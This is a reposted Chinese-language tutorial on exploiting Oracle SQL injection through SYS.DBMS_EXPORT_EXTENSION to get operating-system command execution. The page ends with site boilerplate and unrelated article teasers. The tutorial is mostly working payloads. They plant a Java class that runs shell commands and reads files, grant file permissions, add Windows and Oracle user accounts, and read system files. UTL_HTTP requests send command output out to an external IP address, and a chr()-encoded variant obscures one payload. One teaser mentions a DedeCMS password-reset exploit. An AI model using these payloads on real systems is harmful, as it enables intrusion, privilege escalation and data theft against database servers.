實例演示oracle注入獲取cmdshell的全過程

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
  的形式即可。(用" 'a'|| "是為了讓語句返回true值)
  語句有點長,可能要用post提交。
  以下是各個步驟:
  1.創建包
  通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
  /xxx.jsp?id=1 and '1'<>'a'||(
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
  }'''';END;'';END;--','SYS',0,'1',0) from dual
  )
  ------------------------
  如果url有長度限制,可以把readFile()函數塊去掉,即:
  /xxx.jsp?id=1 and '1'<>'a'||(
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
  }'''';END;'';END;--','SYS',0,'1',0) from dual
  )
  同時把后面步驟 提到的 對readFile()的處理語句去掉。
  ------------------------------
  2.賦Java權限
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
  3.創建函數
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  create or replace function LinxRunCMD(p_cmd in varchar2) ?return varchar2 ?as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; ? '''';END;'';END;--','SYS',0,'1',0) from dual
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  create or replace function LinxReadFile(filename in varchar2) ?return varchar2 ?as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; ? '''';END;'';END;--','SYS',0,'1',0) from dual
  4.賦public執行函數的權限
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
  5.測試上面的幾步是否成功
  and '1'<>'11'||(
  select ?OBJECT_ID from all_objects where ?object_name ='LINXRUNCMD'
  )
  and '1'<>(
  select ?OBJECT_ID from all_objects where ?object_name ='LINXREADFILE'
  )
  6.執行命令:
  /xxx.jsp?id=1 and '1'<>(
  select ?sys.LinxRunCMD('cmd /c net user linx /add') from dual
  )
  /xxx.jsp?id=1 and '1'<>(
  select ?sys.LinxReadFile('c:/boot.ini') from dual

)

  注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
  如果要查看運行結果可以用 union :
  /xxx.jsp?id=1 union select ?sys.LinxRunCMD('cmd /c net user linx /add') from dual
  或者UTL_HTTP.request(:
  /xxx.jsp?id=1 and '1'<>(
  SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
  )
  /xxx.jsp?id=1 and '1'<>(
  SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
  )
  注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。
  --------------------
  6.內部變化
  通過以下命令可以查看all_objects表達改變:
  select ?* from all_objects where ?object_name like '%LINX%' or ?object_name like '%Linx%'
  7.刪除我們創建的函數
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  drop function LinxRunCMD ?'''';END;'';END;--','SYS',0,'1',0) from dual
  ====================================================
  全文結束。謹以此文贈與我的朋友。
  linx
  124829445
  2008.1.12
  linyujian@bjfu.edu.cn
  ======================================================================
  測試漏洞的另一方法:
  創建oracle帳號:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
  即:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
  chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
  確定漏洞存在:
  1<>(
  select user_id from all_users where username='LINXSQL'
  )
  給linxsql連接權限:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
  刪除帳號:
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
  ======================
  以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:
  1.jsp?id=1 and '1'<>(
  select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; ?end; ? '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE

 )

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/388490.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/388490.shtml
英文地址,請注明出處:http://en.pswp.cn/news/388490.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

html視頻位置控制器,html5中返回音視頻的當前媒體控制器的屬性controller

實例檢測該視頻是否有媒體控制器&#xff1a;myViddocument.getElementById("video1");alert("Controller: " myVid.controller);定義和用法controller 屬性返回音視頻的當前媒體控制器。默認地&#xff0c;音視頻元素不會有媒體控制器。如果規定了媒體控…

ER TO SQL語句

ER TO SQL語句的轉換&#xff0c;在數據庫設計生命周期的位置如下所示。 一、轉換的類別 從ER圖轉化得到關系數據庫中的SQL表&#xff0c;一般可分為3類&#xff1a; 1&#xff09;轉化得到的SQL表與原始實體包含相同信息內容。該類轉化一般適用于&#xff1a; 二元“多對多”關…

dede 5.7 任意用戶重置密碼前臺

返回了重置的鏈接&#xff0c;還要把&amp刪除了&#xff0c;就可以重置密碼了 結果只能改test的密碼&#xff0c;進去過后&#xff0c;這個居然是admin的密碼&#xff0c;有點頭大&#xff0c;感覺這樣就沒有意思了 我是直接上傳的一句話&#xff0c;用菜刀連才有樂趣 OK了…

nasa數據庫cm1數據集_獲取下一個地理項目的NASA數據

nasa數據庫cm1數據集NASA provides an extensive library of data points that they’ve captured over the years from their satellites. These datasets include temperature, precipitation and more. NASA hosts this data on a website where you can search and grab in…

注入代碼oracle

--建立類 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE  create or replace and compile java source named "LinxUtil" as …

html5包含inc文件,HTML中include file標簽的用法

參數PathType將 FileName 的路徑類型。路徑可為以下某種類型&#xff1a;路徑類型 含義文件 該文件名是帶有 #include 命令的文檔所在目錄的相對路徑。被包含文件可位于相同目錄或子目錄中&#xff1b;但它不能處于帶有 #include 命令的頁的上層目錄中。虛擬 文件名為 Web 站點…

r語言處理數據集編碼_在強調編碼語言或工具之前,請學習這3個基本數據概念

r語言處理數據集編碼重點 (Top highlight)I got an Instagram DM the other day that really got me thinking. This person explained that they were a data analyst by trade, and had years of experience. But, they also said that they felt that their technical skill…

springboot微服務 java b2b2c電子商務系統(一)服務的注冊與發現(Eureka)

一、spring cloud簡介spring cloud 為開發人員提供了快速構建分布式系統的一些工具&#xff0c;包括配置管理、服務發現、斷路器、路由、微代理、事件總線、全局鎖、決策競選、分布式會話等等。它運行環境簡單&#xff0c;可以在開發人員的電腦上跑。Spring Cloud大型企業分布式…

linux部署服務器常用命令

fdisk -l 查分區硬盤 df -h 查空間硬盤 cd / 進目錄 ls/ll 文件列表 vi tt.txt iinsert 插入 shift: 進命令行 wq 保存%退出 cat tt.txt 內容查看 pwd 當期目錄信息 mkdir tt建目錄 cp tt.txt tt/11.txt 拷貝文件到tt下 mv 11.txt /usr/ 移動 rm -rf tt.txt 刪除不提示 rm t…

HTML和CSS面試問題總結,html和css面試總結

html和cssw3c 規范結構化標準語言樣式標準語言行為標準語言1) 盒模型常見的盒模型有w3c盒模型(又名標準盒模型)box-sizing:content-box和IE盒模型(又名怪異盒模型)box-sizing:border-box。標準盒子模型&#xff1a;寬度內容的寬度(content) border padding margin低版本IE盒子…

css清除浮動float的七種常用方法總結和兼容性處理

在清除浮動前我們要了解兩個重要的定義&#xff1a; 浮動的定義&#xff1a;使元素脫離文檔流&#xff0c;按照指定方向發生移動&#xff0c;遇到父級邊界或者相鄰的浮動元素停了下來。 高度塌陷&#xff1a;浮動元素父元素高度自適應&#xff08;父元素不寫高度時&#xff0c;…

數據遷移測試_自動化數據遷移測試

數據遷移測試Data migrations are notoriously difficult to test. They take a long time to run on large datasets. They often involve heavy, inflexible database engines. And they’re only meant to run once, so people think it’s throw-away code, and therefore …

使用while和FOR循環分布打印字符串S='asdfer' 中的每一個元素

方法1&#xff1a; s asdfer for i in s :print(i)方法2:index 0 while 1:print(s[index])index1if index len(s):break 轉載于:https://www.cnblogs.com/yuhoucaihong/p/10275800.html

山師計算機專業研究生怎么樣,山東師范大學有計算機專業碩士嗎?

山東師范大學位于山東省濟南市&#xff0c;學校是一所綜合性高等師范院校。該院校深受廣大報考專業碩士學員的歡迎&#xff0c;因此很多學員想要知道山東師范大學有沒有計算機專業碩士&#xff1f;山東師范大學是有計算機專業碩士的。下面就和大家介紹一下培養目標有哪些&#…

ZOJ-Crashing Balloon

先從最大的數開始, 深度優先遍歷. 如果是 m 和 n 的公因子, 先遍歷m的, 回溯返回的數值還是公因子, 再遍歷n. 如果有某一或幾條路徑可以讓 m 和 n 變成 1 ,說明 m 和 n 不沖突, m 勝利. 如果沒有找到一條路徑當 n 分解完成時, m 也分解完成, 則判定 m說謊(無論 n 是否說謊), n…

使用TensorFlow概率預測航空乘客人數

TensorFlow Probability uses structural time series models to conduct time series forecasting. In particular, this library allows for a “scenario analysis” form of modelling — whereby various forecasts regarding the future are made.TensorFlow概率使用結構…

python畫激活函數圖像

導入必要的庫 import math import matplotlib.pyplot as plt import numpy as np import matplotlib as mpl mpl.rcParams[axes.unicode_minus] False 繪制softmax函數圖像 fig plt.figure(figsize(6,4)) ax fig.add_subplot(111) x np.linspace(-10,10) y sigmoid(x)ax.s…

計算機網絡管理SIMP,計算機網絡管理實驗報告.docx

計算機網絡管理實驗報告計算機網絡管理實驗報告PAGEPAGE #計算機網絡管理實驗報告作 者&#xff1a; 孫玉虎 學 號&#xff1a;914106840229學院(系)&#xff1a;計算機科學與工程學院專 業&#xff1a;網絡工程題 目&#xff1a;SNMR報文禾口 MIB指導教師陸一飛2016年12月目錄…

tomcat集群

1】 下載安裝 httpd-2.2.15-win32-x86-no_ssl.msi 網頁服務器 32-bit Windows zip tomcat mod_jk-1.2.30-httpd-2.2.3.so Apache/IIS 用來連接后臺Tomcat的模塊&#xff0c;支持集群和負載均衡 JK 分為兩個版本 1,x 和 2.x &…

pdf.js插件使用記錄,在線打開pdf

pdf.js插件使用記錄&#xff0c;在線打開pdf 原文:pdf.js插件使用記錄&#xff0c;在線打開pdf天記錄一個js庫&#xff1a;pdf.js。主要是實現在線打開pdf功能。因為項目需求需要能在線查看pdf文檔&#xff0c;所以就研究了一下這個控件。 有些人很好奇&#xff0c;在線打開pdf…